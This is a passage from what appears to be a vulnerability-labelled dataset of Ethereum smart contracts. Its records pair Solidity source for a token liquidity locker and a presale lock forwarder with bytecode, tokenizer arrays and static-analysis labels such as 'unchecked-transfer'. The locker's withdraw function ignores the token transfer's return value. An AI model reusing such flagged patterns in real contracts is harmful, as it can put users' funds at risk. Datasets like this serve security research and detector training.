752068617665206e6f2062696464656420746f6b656e7300000000000000604482015290519081900360640190fd5b6000610acc336107e0565b336000908152600d6020526040812055600a54909150610aec9082610f8b565b600a558015610b0c57600b54610b0c906001600160a01b03163383611052565b50506001600e5550565b6000546001600160a01b031681565b600b546001600160a01b031681565b600080546001600160a01b03163314610b4957fe5b610b6762093a80610787600954600354610f8b90919063ffffffff16565b4211610ba45760405162461bcd60e51b815260040180806020018281038252603f81526020018061118b603f913960400191505060405180910390fd5b60008311610bf9576040805162461bcd60e51b815260206004820152601860248201527f43616e6e6f74207472616e73666572203020746f6b656e730000000000000000604482015290519081900360640190fd5b600b54610c10906001600160a01b03168385611052565b50600192915050565b60006002544211610c2d575060045461075a565b6003544210610c3f575060055461075a565b6000610c60610c4c610c86565b600254610c5a904290610f9b565b90610f4b565b90506000610c7982600454610f9b90919063ffffffff16565b9250505090565b60035481565b600080610ca0600554600454610f9b90919063ffffffff16565b90506000610cbb600254600354610f9b90919063ffffffff16565b9050610c798282610f6c565b600d6020526000908152604090205481565b60045481565b6000546001600160a01b03163314610cf357fe5b6001600160a01b038116156108b157600080546001600160a01b0383166001600160a01b031990911617905550565b6000546001600160a01b03163314610d3657fe5b60008511610d755760405162461bcd60e51b815260040180806020018281038252603081526020018061115b6030913960400191505060405180910390fd5b828411610db35760405162461bcd60e51b815260040180806020018281038252602f81526020018061112c602f913960400191505060405180910390fd5b60008311610df25760405162461bcd60e51b81526004018080602001828103825260258152602001806112166025913960400191505060405180910390fd5b600b80546001600160a01b0319166001600160a01b038981169190911791829055604080516323b872dd60e01b8152336004820152306024820152604481018a9052905192909116916323b872dd916064808201926020929091908290030181600087803b158015610e6357600080fd5b505af1158015610e77573d6000803e3d6000fd5b505050506040513d6020811015610e8d57600080fd5b5051610eca5760405162461bcd60e51b81526004018080602001828103825260288152602001806111ee6028913960400191505060405180910390fd5b610edd8668056bc75e2d63100000610f9b565b600655426002819055610ef09086610f8b565b600355600493909355600591909155600955600c80546001600160a01b0319166001600160a01b0390921691909117905550506008805460ff1916905550565b6000546001600160a01b03163314610f4457fe5b6000600955565b818102821580610f63575081838281610f6057fe5b04145b61082c57600080fd5b6000808211610f7a57600080fd5b818381610f8357fe5b049392505050565b8181018281101561082c57600080fd5b600082821115610faa57600080fd5b50900390565b6001600160a01b0382166000908152600d6020526040902054610fd39082610f8b565b6001600160a01b0383166000908152600d6020526040902055600154610ff99082610f8b565b6001557f2708a7a3988eeb427740f4fc8a40de05ea1ef186ec85ff11b09d8c486ca4a00382826110276108ed565b604080516001600160a01b039094168452602084019290925282820152519081900360600190a15050565b826001600160a01b031663a9059cbb83836040518363ffffffff1660e01b815260040180836001600160a01b0316815260200182815260200192505050602060405180830381600087803b1580156110a957600080fd5b505af11580156110bd573d6000803e3d6000fd5b505050506040513d60208110156110d357600080fd5b5051611126576040805162461bcd60e51b815260206004820152601760248201527f4661696c20746f207472616e7366657220746f6b656e73000000000000000000604482015290519081900360640190fd5b50505056fe53746172742070726963652073686f756c6420626520626967676572207468616e206d696e696d756d20707269636541756374696f6e206475726174696f6e2073686f756c64206265206c6f6e676572207468616e2030207365636f6e647343616e6e6f74207472616e736665722061756374696f6e20746f6b656e732077697468696e203720646179732061667465722077697468647261772064617944757463685377617041756374696f6e3a2041756374696f6e207374696c6c206c6976654661696c20746f207472616e7366657220746f6b656e7320746f207468697320636f6e74726163744d696e696d756d2070726963652073686f756c6420626520626967676572207468616e2030a2646970667358221220a1021e30d77351b9ddfb4bfe389657e41a0af5f4f44740be9bbd6555339a31ea64736f6c634300060c0033
{"success": true, "error": null, "results": {"detectors": [{"check": "incorrect-equality", "impact": "Medium", "confidence": "High"}]}}
true
null
{'detectors': [{'check': 'incorrect-equality', 'impact': 'Medium', 'confidence': 'High'}]}
[ 101, 1014, 2595, 2683, 2581, 2575, 2546, 2692, 19481, 14141, 2475, 9818, 19841, 2546, 2692, 16409, 23499, 2683, 5243, 2098, 2575, 10790, 21057, 19797, 9648, 2063, 16068, 2497, 2575, 1013, 1013, 23772, 2595, 1011, 6105, 1011, 8909, 4765, 18095, 1024, 14246, 2140, 1011, 1017, 1012, 1014, 1011, 2030, 1011, 2101, 10975, 8490, 2863, 5024, 3012, 1034, 1014, 1012, 1020, 1012, 1023, 1025, 3206, 3079, 1063, 4769, 3477, 3085, 2270, 3954, 1025, 9570, 2953, 1006, 1007, 2270, 1063, 3954, 1027, 5796, 2290, 1012, 4604, 2121, 1025, 1065, 16913, 18095, 2069, 12384, 2121, 1006, 1007, 1063, 20865, 1006, 5796, 2290, 1012, 4604, 2121, 1027, 1027, 3954, 1007, 1025, 1035, 1025, 1065, 3853, 4651, 12384, 2545, 5605, 1006, 4769, 3477, 3085, 2047, 12384, 2121, 1007, 6327, 2069, 12384, 2121, 1063, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
59,824
0x976Fa404A29d96cae5dd6B9f74C44394C9F4087e
// SPDX-License-Identifier: UNLICENSED //MARBILOCK //liquidity locker, locked for 1 year pragma solidity ^0.8.4; interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } contract LIQUIDTYLOCK { uint public end; address payable public owner; address payable public pendingOwner; uint public duration = 365 days; constructor(address payable _owner) { owner = _owner; end = block.timestamp + duration; } function deposit(address token, uint amount) external { IERC20(token).transferFrom(msg.sender, address(this), amount); } function timeLeft() public view returns (uint) { if (end > block.timestamp) { return end - block.timestamp; } else { return 0; } } /** * @notice Allows owner to change ownership * @param _owner new owner address to set */ function setOwner(address payable _owner) external { require(msg.sender == owner, "owner: !owner"); pendingOwner = _owner; } /** * @notice Allows pendingOwner to accept their role as owner (protection pattern) */ function acceptOwnership() external { require(msg.sender == pendingOwner, "acceptOwnership: !pendingOwner"); owner = pendingOwner; } function ExtendLockTime(uint locktime) public { require(msg.sender == owner, "only owner"); end += locktime; } function getOwner() public view returns (address) { return owner; } function getEthBalance() view public returns (uint) { return address(this).balance; } function getTokenBalance(address tokenaddr) view public returns (uint) { return IERC20(tokenaddr).balanceOf(address(this)); } receive() external payable {} function withdraw(address token, uint amount) external { require(msg.sender == owner, "only owner"); require(block.timestamp >= end, "too early"); if(token == address(0)) { owner.transfer(amount); } else { IERC20(token).transfer(owner, amount); } } }
0x6080604052600436106100c65760003560e01c806370ed0ada1161007f5780638da5cb5b116100595780638da5cb5b1461024d578063e30c397814610278578063efbe1c1c146102a3578063f3fef3a3146102ce576100cd565b806370ed0ada146101e057806379ba50971461020b578063893d20e814610222576100cd565b80630fb5a6b4146100d25780631300a6d1146100fd57806313af4035146101285780633aecd0e314610151578063403462f01461018e57806347e7ef24146101b7576100cd565b366100cd57005b600080fd5b3480156100de57600080fd5b506100e76102f7565b6040516100f49190610cc1565b60405180910390f35b34801561010957600080fd5b506101126102fd565b60405161011f9190610cc1565b60405180910390f35b34801561013457600080fd5b5061014f600480360381019061014a9190610a03565b610326565b005b34801561015d57600080fd5b50610178600480360381019061017391906109da565b6103fa565b6040516101859190610cc1565b60405180910390f35b34801561019a57600080fd5b506101b560048036038101906101b09190610a91565b61048c565b005b3480156101c357600080fd5b506101de60048036038101906101d99190610a2c565b610537565b005b3480156101ec57600080fd5b506101f56105cb565b6040516102029190610cc1565b60405180910390f35b34801561021757600080fd5b506102206105d3565b005b34801561022e57600080fd5b506102376106c8565b6040516102449190610bab565b60405180910390f35b34801561025957600080fd5b506102626106f2565b60405161026f9190610bc6565b60405180910390f35b34801561028457600080fd5b5061028d610718565b60405161029a9190610bc6565b60405180910390f35b3480156102af57600080fd5b506102b861073e565b6040516102c59190610cc1565b60405180910390f35b3480156102da57600080fd5b506102f560048036038101906102f09190610a2c565b610744565b005b60035481565b600042600054111561031e57426000546103179190610d43565b9050610323565b600090505b90565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146103b6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016103ad90610c61565b60405180910390fd5b80600260006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60008173ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b81526004016104359190610bab565b60206040518083038186803b15801561044d57600080fd5b505afa158015610461573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906104859190610aba565b9050919050565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461051c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161051390610c81565b60405180910390fd5b8060008082825461052d9190610ced565b9250508190555050565b8173ffffffffffffffffffffffffffffffffffffffff166323b872dd3330846040518463ffffffff1660e01b815260040161057493929190610c0a565b602060405180830381600087803b15801561058e57600080fd5b505af11580156105a2573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906105c69190610a68565b505050565b600047905090565b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610663576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161065a90610c41565b60405180910390fd5b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b6000600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60005481565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146107d4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016107cb90610c81565b60405180910390fd5b600054421015610819576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161081090610ca1565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156108bc57600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f193505050501580156108b6573d6000803e3d6000fd5b5061096d565b8173ffffffffffffffffffffffffffffffffffffffff1663a9059cbb600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16836040518363ffffffff1660e01b8152600401610919929190610be1565b602060405180830381600087803b15801561093357600080fd5b505af1158015610947573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061096b9190610a68565b505b5050565b60008135905061098081610eda565b92915050565b60008135905061099581610ef1565b92915050565b6000815190506109aa81610f08565b92915050565b6000813590506109bf81610f1f565b92915050565b6000815190506109d481610f1f565b92915050565b6000602082840312156109ec57600080fd5b60006109fa84828501610971565b91505092915050565b600060208284031215610a1557600080fd5b6000610a2384828501610986565b91505092915050565b60008060408385031215610a3f57600080fd5b6000610a4d85828601610971565b9250506020610a5e858286016109b0565b9150509250929050565b600060208284031215610a7a57600080fd5b6000610a888482850161099b565b91505092915050565b600060208284031215610aa357600080fd5b6000610ab1848285016109b0565b91505092915050565b600060208284031215610acc57600080fd5b6000610ada848285016109c5565b91505092915050565b610aec81610dd1565b82525050565b610afb81610d89565b82525050565b610b0a81610d77565b82525050565b6000610b1d601e83610cdc565b9150610b2882610e36565b602082019050919050565b6000610b40600d83610cdc565b9150610b4b82610e5f565b602082019050919050565b6000610b63600a83610cdc565b9150610b6e82610e88565b602082019050919050565b6000610b86600983610cdc565b9150610b9182610eb1565b602082019050919050565b610ba581610dc7565b82525050565b6000602082019050610bc06000830184610b01565b92915050565b6000602082019050610bdb6000830184610af2565b92915050565b6000604082019050610bf66000830185610ae3565b610c036020830184610b9c565b9392505050565b6000606082019050610c1f6000830186610b01565b610c2c6020830185610b01565b610c396040830184610b9c565b949350505050565b60006020820190508181036000830152610c5a81610b10565b9050919050565b60006020820190508181036000830152610c7a81610b33565b9050919050565b60006020820190508181036000830152610c9a81610b56565b9050919050565b60006020820190508181036000830152610cba81610b79565b9050919050565b6000602082019050610cd66000830184610b9c565b92915050565b600082825260208201905092915050565b6000610cf882610dc7565b9150610d0383610dc7565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115610d3857610d37610e07565b5b828201905092915050565b6000610d4e82610dc7565b9150610d5983610dc7565b925082821015610d6c57610d6b610e07565b5b828203905092915050565b6000610d8282610da7565b9050919050565b6000610d9482610da7565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b6000610ddc82610de3565b9050919050565b6000610dee82610df5565b9050919050565b6000610e0082610da7565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f6163636570744f776e6572736869703a202170656e64696e674f776e65720000600082015250565b7f6f776e65723a20216f776e657200000000000000000000000000000000000000600082015250565b7f6f6e6c79206f776e657200000000000000000000000000000000000000000000600082015250565b7f746f6f206561726c790000000000000000000000000000000000000000000000600082015250565b610ee381610d77565b8114610eee57600080fd5b50565b610efa81610d89565b8114610f0557600080fd5b50565b610f1181610d9b565b8114610f1c57600080fd5b50565b610f2881610dc7565b8114610f3357600080fd5b5056fea2646970667358221220db98c7acc12efeba6c91e9c24af3da8edc8411d4a2428fc62f56da504e95fc3864736f6c63430008040033
{"success": true, "error": null, "results": {"detectors": [{"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}]}}
true
null
{'detectors': [{'check': 'unchecked-transfer', 'impact': 'High', 'confidence': 'Medium'}]}
[ 101, 1014, 2595, 2683, 2581, 2575, 7011, 12740, 2549, 2050, 24594, 2094, 2683, 2575, 3540, 2063, 2629, 14141, 2575, 2497, 2683, 2546, 2581, 2549, 2278, 22932, 23499, 2549, 2278, 2683, 2546, 12740, 2620, 2581, 2063, 1013, 1013, 23772, 2595, 1011, 6105, 1011, 8909, 4765, 18095, 1024, 4895, 13231, 27730, 1013, 1013, 9388, 14454, 7432, 1013, 1013, 6381, 3012, 12625, 1010, 5299, 2005, 1015, 2095, 10975, 8490, 2863, 5024, 3012, 1034, 1014, 1012, 1022, 1012, 1018, 1025, 8278, 29464, 11890, 11387, 1063, 3853, 21948, 6279, 22086, 1006, 1007, 6327, 3193, 5651, 1006, 21318, 3372, 17788, 2575, 1007, 1025, 3853, 5703, 11253, 1006, 4769, 4070, 1007, 6327, 3193, 5651, 1006, 21318, 3372, 17788, 2575, 1007, 1025, 3853, 4651, 1006, 4769, 7799, 1010, 21318, 3372, 17788, 2575, 3815, 1007, 6327, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
59,825
0x9771444F52cB90570e185c2cB6F788B14BCb10B1
// SPDX-License-Identifier: MIT // From https://github.com/OpenZeppelin/openzeppelin-contracts/blob/master/contracts/GSN/Context.sol // Subject to the MIT license. pragma solidity >=0.6.0 <0.8.0; /* * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with GSN meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } // SPDX-License-Identifier: MIT pragma solidity >=0.5.0; interface IERC20 { event Approval(address indexed owner, address indexed spender, uint value); event Transfer(address indexed from, address indexed to, uint value); function decimals() external view returns (uint8); function totalSupply() external view returns (uint); function balanceOf(address owner) external view returns (uint); function allowance(address owner, address spender) external view returns (uint); function approve(address spender, uint value) external returns (bool); function transfer(address to, uint value) external returns (bool); function transferFrom(address from, address to, uint value) external returns (bool); } // SPDX-License-Identifier: MIT // From https://github.com/OpenZeppelin/openzeppelin-contracts/blob/master/contracts/access/Ownable.sol // Subject to the MIT license. pragma solidity >=0.6.0 <0.8.0; import "./Context.sol"; /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor () internal { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } /** * @dev Returns the address of the current owner. */ function owner() public view returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } // SPDX-License-Identifier: MIT pragma solidity 0.6.12; import "./Ownable.sol"; import "./TransferHelper.sol"; import "./IERC20.sol"; interface ISpaceportFactory { function registerSpaceport (address _spaceportAddress) external; function spaceportIsRegistered(address _spaceportAddress) external view returns (bool); } interface IPlasmaswapLocker { function lockLPToken (address _lpToken, uint256 _amount, uint256 _unlock_date, address payable _withdrawer) external payable; } interface IPlasmaswapFactory { function getPair(address tokenA, address tokenB) external view returns (address pair); function createPair(address tokenA, address tokenB) external returns (address pair); } interface IPlasmaswapPair { event Approval(address indexed owner, address indexed spender, uint value); event Transfer(address indexed from, address indexed to, uint value); function name() external pure returns (string memory); function symbol() external pure returns (string memory); function decimals() external pure returns (uint8); function totalSupply() external view returns (uint); function balanceOf(address owner) external view returns (uint); function allowance(address owner, address spender) external view returns (uint); function approve(address spender, uint value) external returns (bool); function transfer(address to, uint value) external returns (bool); function transferFrom(address from, address to, uint value) external returns (bool); function DOMAIN_SEPARATOR() external view returns (bytes32); function PERMIT_TYPEHASH() external pure returns (bytes32); function nonces(address owner) external view returns (uint); function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external; event Mint(address indexed sender, uint amount0, uint amount1); event Burn(address indexed sender, uint amount0, uint amount1, address indexed to); event Swap( address indexed sender, uint amount0In, uint amount1In, uint amount0Out, uint amount1Out, address indexed to ); event Sync(uint112 reserve0, uint112 reserve1); function MINIMUM_LIQUIDITY() external pure returns (uint); function factory() external view returns (address); function token0() external view returns (address); function token1() external view returns (address); function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast); function price0CumulativeLast() external view returns (uint); function price1CumulativeLast() external view returns (uint); function kLast() external view returns (uint); function mint(address to) external returns (uint liquidity); function burn(address to) external returns (uint amount0, uint amount1); function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external; function skim(address to) external; function sync() external; function initialize(address, address) external; } contract SpaceportLockForwarder is Ownable { ISpaceportFactory public SPACEPORT_FACTORY; IPlasmaswapLocker public PLFI_LOCKER; IPlasmaswapFactory public PLASMASWAP_FACTORY; constructor() public { SPACEPORT_FACTORY = ISpaceportFactory(0x67019Edf7E115d17086e1660b577CAdccc57dFf3); PLFI_LOCKER = IPlasmaswapLocker(0x2FB0DAC10724360f2c2074a0990733d07AA01200); PLASMASWAP_FACTORY = IPlasmaswapFactory(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f); } /** Send in _token0 as the PRESALE token, _token1 as the BASE token (usually WETH) for the check to work. As anyone can create a pair, and send WETH to it while a presale is running, but no one should have access to the presale token. If they do and they send it to the pair, scewing the initial liquidity, this function will return true */ function plasmaswapPairIsInitialised (address _token0, address _token1) public view returns (bool) { address pairAddress = PLASMASWAP_FACTORY.getPair(_token0, _token1); if (pairAddress == address(0)) { return false; } uint256 balance = IERC20(_token0).balanceOf(pairAddress); if (balance > 0) { return true; } return false; } function lockLiquidity (IERC20 _baseToken, IERC20 _saleToken, uint256 _baseAmount, uint256 _saleAmount, uint256 _unlock_date, address payable _withdrawer) external { require(SPACEPORT_FACTORY.spaceportIsRegistered(msg.sender), 'SPACEPORT NOT REGISTERED'); address pair = PLASMASWAP_FACTORY.getPair(address(_baseToken), address(_saleToken)); if (pair == address(0)) { PLASMASWAP_FACTORY.createPair(address(_baseToken), address(_saleToken)); pair = PLASMASWAP_FACTORY.getPair(address(_baseToken), address(_saleToken)); } TransferHelper.safeTransferFrom(address(_baseToken), msg.sender, address(pair), _baseAmount); TransferHelper.safeTransferFrom(address(_saleToken), msg.sender, address(pair), _saleAmount); IPlasmaswapPair(pair).mint(address(this)); uint256 totalLPTokensMinted = IPlasmaswapPair(pair).balanceOf(address(this)); require(totalLPTokensMinted != 0 , "LP creation failed"); TransferHelper.safeApprove(pair, address(PLFI_LOCKER), totalLPTokensMinted); uint256 unlock_date = _unlock_date > 9999999999 ? 9999999999 : _unlock_date; PLFI_LOCKER.lockLPToken(pair, totalLPTokensMinted, unlock_date, _withdrawer); } } // SPDX-License-Identifier: MIT pragma solidity 0.6.12; /** helper methods for interacting with ERC20 tokens that do not consistently return true/false with the addition of a transfer function to send eth or an erc20 token */ library TransferHelper { function safeApprove(address token, address to, uint value) internal { (bool success, bytes memory data) = token.call(abi.encodeWithSelector(0x095ea7b3, to, value)); require(success && (data.length == 0 || abi.decode(data, (bool))), 'TransferHelper: APPROVE_FAILED'); } function safeTransfer(address token, address to, uint value) internal { (bool success, bytes memory data) = token.call(abi.encodeWithSelector(0xa9059cbb, to, value)); require(success && (data.length == 0 || abi.decode(data, (bool))), 'TransferHelper: TRANSFER_FAILED'); } function safeTransferFrom(address token, address from, address to, uint value) internal { (bool success, bytes memory data) = token.call(abi.encodeWithSelector(0x23b872dd, from, to, value)); require(success && (data.length == 0 || abi.decode(data, (bool))), 'TransferHelper: TRANSFER_FROM_FAILED'); } // sends ETH or an erc20 token function safeTransferBaseToken(address token, address payable to, uint value, bool isERC20) internal { if (!isERC20) { to.transfer(value); } else { (bool success, bytes memory data) = token.call(abi.encodeWithSelector(0xa9059cbb, to, value)); require(success && (data.length == 0 || abi.decode(data, (bool))), 'TransferHelper: TRANSFER_FAILED'); } } }
0x608060405234801561001057600080fd5b50600436106100885760003560e01c80638c8190631161005b5780638c819063146101455780638da5cb5b1461014d578063ceed0bf714610155578063f2fde38b1461015d57610088565b80632277d0e31461008d5780633659edb1146100d75780636e7094b514610119578063715018a61461013d575b600080fd5b6100d5600480360360c08110156100a357600080fd5b506001600160a01b038135811691602081013582169160408201359160608101359160808201359160a0013516610183565b005b610105600480360360408110156100ed57600080fd5b506001600160a01b03813581169160200135166105ee565b604080519115158252519081900360200190f35b610121610726565b604080516001600160a01b039092168252519081900360200190f35b6100d5610735565b6101216107e9565b6101216107f8565b610121610807565b6100d56004803603602081101561017357600080fd5b50356001600160a01b0316610816565b6001546040805163c38e29f360e01b815233600482015290516001600160a01b039092169163c38e29f391602480820192602092909190829003018186803b1580156101ce57600080fd5b505afa1580156101e2573d6000803e3d6000fd5b505050506040513d60208110156101f857600080fd5b505161024b576040805162461bcd60e51b815260206004820152601860248201527f5350414345504f5254204e4f5420524547495354455245440000000000000000604482015290519081900360640190fd5b6003546040805163e6a4390560e01b81526001600160a01b03898116600483015288811660248301529151600093929092169163e6a4390591604480820192602092909190829003018186803b1580156102a457600080fd5b505afa1580156102b8573d6000803e3d6000fd5b505050506040513d60208110156102ce57600080fd5b505190506001600160a01b0381166103e757600354604080516364e329cb60e11b81526001600160a01b038a8116600483015289811660248301529151919092169163c9c653969160448083019260209291908290030181600087803b15801561033757600080fd5b505af115801561034b573d6000803e3d6000fd5b505050506040513d602081101561036157600080fd5b50506003546040805163e6a4390560e01b81526001600160a01b038a8116600483015289811660248301529151919092169163e6a43905916044808301926020929190829003018186803b1580156103b857600080fd5b505afa1580156103cc573d6000803e3d6000fd5b505050506040513d60208110156103e257600080fd5b505190505b6103f387338388610920565b6103ff86338387610920565b604080516335313c2160e11b815230600482015290516001600160a01b03831691636a6278429160248083019260209291908290030181600087803b15801561044757600080fd5b505af115801561045b573d6000803e3d6000fd5b505050506040513d602081101561047157600080fd5b5050604080516370a0823160e01b815230600482015290516000916001600160a01b038416916370a0823191602480820192602092909190829003018186803b1580156104bd57600080fd5b505afa1580156104d1573d6000803e3d6000fd5b505050506040513d60208110156104e757600080fd5b5051905080610532576040805162461bcd60e51b815260206004820152601260248201527113140818dc99585d1a5bdb8819985a5b195960721b604482015290519081900360640190fd5b60025461054a9083906001600160a01b031683610a7d565b60006402540be3ff851161055e5784610565565b6402540be3ff5b6002546040805163df41bc5f60e01b81526001600160a01b03878116600483015260248201879052604482018590528881166064830152915193945091169163df41bc5f9160848082019260009290919082900301818387803b1580156105cb57600080fd5b505af11580156105df573d6000803e3d6000fd5b50505050505050505050505050565b6003546040805163e6a4390560e01b81526001600160a01b038581166004830152848116602483015291516000938493169163e6a43905916044808301926020929190829003018186803b15801561064557600080fd5b505afa158015610659573d6000803e3d6000fd5b505050506040513d602081101561066f57600080fd5b505190506001600160a01b03811661068b576000915050610720565b6000846001600160a01b03166370a08231836040518263ffffffff1660e01b815260040180826001600160a01b0316815260200191505060206040518083038186803b1580156106da57600080fd5b505afa1580156106ee573d6000803e3d6000fd5b505050506040513d602081101561070457600080fd5b50519050801561071957600192505050610720565b6000925050505b92915050565b6001546001600160a01b031681565b61073d610be7565b6000546001600160a01b0390811691161461079f576040805162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015290519081900360640190fd5b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6002546001600160a01b031681565b6000546001600160a01b031690565b6003546001600160a01b031681565b61081e610be7565b6000546001600160a01b03908116911614610880576040805162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015290519081900360640190fd5b6001600160a01b0381166108c55760405162461bcd60e51b8152600401808060200182810382526026815260200180610bec6026913960400191505060405180910390fd5b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b604080516001600160a01b0385811660248301528481166044830152606480830185905283518084039091018152608490920183526020820180516001600160e01b03166323b872dd60e01b17815292518251600094606094938a169392918291908083835b602083106109a55780518252601f199092019160209182019101610986565b6001836020036101000a0380198251168184511680821785525050505050509050019150506000604051808303816000865af19150503d8060008114610a07576040519150601f19603f3d011682016040523d82523d6000602084013e610a0c565b606091505b5091509150818015610a3a575080511580610a3a5750808060200190516020811015610a3757600080fd5b50515b610a755760405162461bcd60e51b8152600401808060200182810382526024815260200180610c126024913960400191505060405180910390fd5b505050505050565b604080516001600160a01b038481166024830152604480830185905283518084039091018152606490920183526020820180516001600160e01b031663095ea7b360e01b178152925182516000946060949389169392918291908083835b60208310610afa5780518252601f199092019160209182019101610adb565b6001836020036101000a0380198251168184511680821785525050505050509050019150506000604051808303816000865af19150503d8060008114610b5c576040519150601f19603f3d011682016040523d82523d6000602084013e610b61565b606091505b5091509150818015610b8f575080511580610b8f5750808060200190516020811015610b8c57600080fd5b50515b610be0576040805162461bcd60e51b815260206004820152601e60248201527f5472616e7366657248656c7065723a20415050524f56455f4641494c45440000604482015290519081900360640190fd5b5050505050565b339056fe4f776e61626c653a206e6577206f776e657220697320746865207a65726f20616464726573735472616e7366657248656c7065723a205452414e534645525f46524f4d5f4641494c4544a2646970667358221220cde1ac91424b7